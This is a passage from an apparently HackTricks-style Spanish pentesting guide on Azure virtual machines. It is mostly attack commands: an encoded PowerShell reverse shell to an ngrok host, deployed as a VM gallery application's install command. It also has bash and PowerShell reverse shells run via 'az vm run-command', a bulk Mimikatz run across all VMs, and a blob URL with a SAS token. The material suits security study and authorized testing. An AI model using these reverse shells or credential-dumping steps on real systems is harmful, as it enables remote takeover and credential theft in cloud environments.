export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
az sig gallery-application version create \
--version-name 1.0.0 \
--application-name myReverseShellAppWin \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "powershell.exe -EncodedCommand $encodedCommand" \
--remove-command "powershell.exe -EncodedCommand $encodedCommand" \
--update-command "powershell.exe -EncodedCommand $encodedCommand"
# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name deleteme-win4 \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \
--treat-deployment-as-failure true
{{#endtab }} {{#endtabs }}
Datos del usuario
Estos son datos persistentes que se pueden recuperar del punto final de metadatos en cualquier momento. Tenga en cuenta que en Azure, los datos del usuario son diferentes de AWS y GCP porque si coloca un script aquí, no se ejecuta por defecto.
Datos personalizados
Es posible pasar algunos datos a la VM que se almacenarán en rutas esperadas:
- En Windows, los datos personalizados se colocan en
%SYSTEMDRIVE%\AzureData\CustomData.bincomo un archivo binario y no se procesan. - En Linux, se almacenaba en
/var/lib/waagent/ovf-env.xmly ahora se almacena en/var/lib/waagent/CustomData/ovf-env.xml - Agente de Linux: No procesa datos personalizados por defecto, se necesita una imagen personalizada con los datos habilitados.
- cloud-init: Por defecto, procesa datos personalizados y estos datos pueden estar en varios formatos. Podría ejecutar un script fácilmente enviando solo el script en los datos personalizados.
- Intenté que tanto Ubuntu como Debian ejecutaran el script que colocas aquí.
- También no es necesario habilitar los datos del usuario para que esto se ejecute.
#!/bin/sh
echo "Hello World" > /var/tmp/output.txt
Ejecutar Comando
Este es el mecanismo más básico que Azure proporciona para ejecutar comandos arbitrarios en VMs. El permiso necesario es Microsoft.Compute/virtualMachines/runCommand/action.
{{#tabs }} {{#tab name="Linux" }}
# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh
# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
{{#endtab }}
{{#tab name="Windows" }}
# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
# Execute a rev shell
az vm run-command invoke \
--resource-group Research \
--name juastavm \
--command-id RunPowerShellScript \
--scripts @revshell.ps1
## Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
## Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
# The content of
echo "powershell.exe -EncodedCommand $encodedCommand" > revshell.ps1
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
{{#endtab }} {{#endtabs }}
Escalación de Privilegios
{{#ref}} ../../az-privilege-escalation/az-virtual-machines-and-network-privesc.md {{#endref}}
Acceso No Autenticado
{{#ref}} ../../az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md {{#endref}}
Post Explotación
{{#ref}} ../../az-post-exploitation/az-vms-and-network-post-exploitation.md {{#endref}}
Persistencia
{{#ref}} ../../az-persistence/az-vms-persistence.md {{#endref}}
Referencias
- https://learn.microsoft.com/en-us/azure/virtual-machines/overview
- https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/
- https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service
{{#include ../../../../banners/hacktricks-training.md}}